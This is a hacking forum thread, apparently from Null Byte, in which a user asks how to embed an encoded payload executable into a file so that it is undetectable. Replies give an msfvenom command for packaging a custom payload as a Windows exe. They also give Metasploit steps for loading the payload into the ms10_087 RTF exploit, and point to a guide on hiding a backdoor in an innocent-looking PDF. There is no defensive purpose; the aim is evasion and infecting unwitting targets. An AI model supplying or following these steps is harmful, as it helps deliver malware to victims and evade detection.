Hi , I have created a custom encoded payload.exe , how can I embed it into a file using msfvenom??
Forum Thread: Using Custom Payloads with Files
- Hot
- Active
-
Forum Thread: Removing Pay-as-You-Go Meter on Loan Phones. 1 Replies
1 wk ago -
Forum Thread: Install Metasploit Framework in Termux No Root Needed M-Wiz Tool 2 Replies
1 wk ago -
Forum Thread: Hydra Syntax Issue Stops After 16 Attempts 3 Replies
2 wks ago -
Forum Thread: How to Track Who Is Sms Bombing Me . 3 Replies
2 wks ago -
Forum Thread: moab5.Sh Error While Running Metasploit 17 Replies
1 mo ago -
Forum Thread: Execute Reverse PHP Shell with Metasploit 1 Replies
2 mo ago -
Forum Thread: Hack and Track People's Device Constantly Using TRAPE 35 Replies
3 mo ago -
Forum Thread: When My Kali Linux Finishes Installing (It Is Ready to Boot), and When I Try to Boot It All I Get Is a Black Screen. 8 Replies
4 mo ago -
Forum Thread: HACK ANDROID with KALI USING PORT FORWARDING(portmap.io) 12 Replies
5 mo ago -
Forum Thread: Hack Instagram Account Using BruteForce 208 Replies
5 mo ago -
Forum Thread: Metasploit reverse_tcp Handler Problem 47 Replies
7 mo ago -
Forum Thread: How to Train to Be an IT Security Professional (Ethical Hacker) 22 Replies
7 mo ago -
Metasploit Error: Handler Failed to Bind 41 Replies
7 mo ago -
Forum Thread: How to Hack Android Phone Using Same Wifi 21 Replies
8 mo ago -
How to: HACK Android Device with TermuX on Android | Part #1 - Over the Internet [Ultimate Guide] 177 Replies
8 mo ago -
How to: Crack Instagram Passwords Using Instainsane 36 Replies
8 mo ago -
Forum Thread: How to Hack an Android Device Remotely, to Gain Acces to Gmail, Facebook, Twitter and More 5 Replies
8 mo ago -
Forum Thread: How Many Hackers Have Played Watch_Dogs Game Before? 13 Replies
8 mo ago -
Forum Thread: How to Hack an Android Device with Only a Ip Adress 55 Replies
9 mo ago -
How to: Sign the APK File with Embedded Payload (The Ultimate Guide) 10 Replies
9 mo ago
-
How To: Dox Anyone
-
How to Hack Wi-Fi: Cracking WPA2-PSK Passwords Using Aircrack-Ng
-
How to Hack Wi-Fi: Stealing Wi-Fi Passwords with an Evil Twin Attack
-
How To: Spy on Traffic from a Smartphone with Wireshark
-
How To: Gain SSH Access to Servers by Brute-Forcing Credentials
-
How To: Crack SSH Private Key Passwords with John the Ripper
-
How To: Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection
-
How To: Find Vulnerable Webcams Across the Globe Using Shodan
-
Hack Like a Pro: How to Find Directories in Websites Using DirBuster
-
How To: Make Your Own Bad USB
-
How To: Use Kismet to Watch Wi-Fi User Activity Through Walls
-
Tutorial: Create Wordlists with Crunch
-
How To: Brute-Force Nearly Any Website Login with Hatch
-
How to Hack Wi-Fi: Cracking WPA2 Passwords Using the New PMKID Hashcat Attack
-
How To: There Are Hidden Wi-Fi Networks All Around You — These Attacks Will Find Them
-
How To: Seize Control of a Router with RouterSploit
-
How To: Fuzz Parameters, Directories & More with Ffuf
-
How to Hack Wi-Fi: Disabling Security Cameras on Any Wireless Network with Aireplay-Ng
-
How To: Escape Restricted Shell Environments on Linux
-
How To: Discover Open Ports Using Metasploit's Built-in Port Scanner
4 Responses
Allot more information is needed to fully answer your question.
But....
Something like this should get things started....
root@Kali:~# msfvenom -p - /root/Desktop/some_file.txt -a x86 --platform windows -f exe -o /root/Desktop/test.exe
Explanation
-p payload "-" specifies custom payload
-a architecture
-- platform
-f format
-o output
It will all depend on what your trying to do, msfvenom might not be able to do what your looking for...
So I just read your exact same question on
https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-ms-word-embed-listener-your-roommates-computer-0140868/
Are you trying to simply set a custom payload inside of an exploit? If so
msf exploit(ms10_087_rtf_pfragments_bof) > set payload generic/custom
Then set the option:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Set custom payload:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME /root/Desktop/some_file
Note: Payload will have to be compatible with the exploit
Thanks for replying. I have used a script to encod my payload . So now I have one on the desktop, the problem is that I want to embed it with pdf file to be undetectable
Encoded? How? Either way you can try following OTW's
https://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/
Just use your payload...
Share Your Thoughts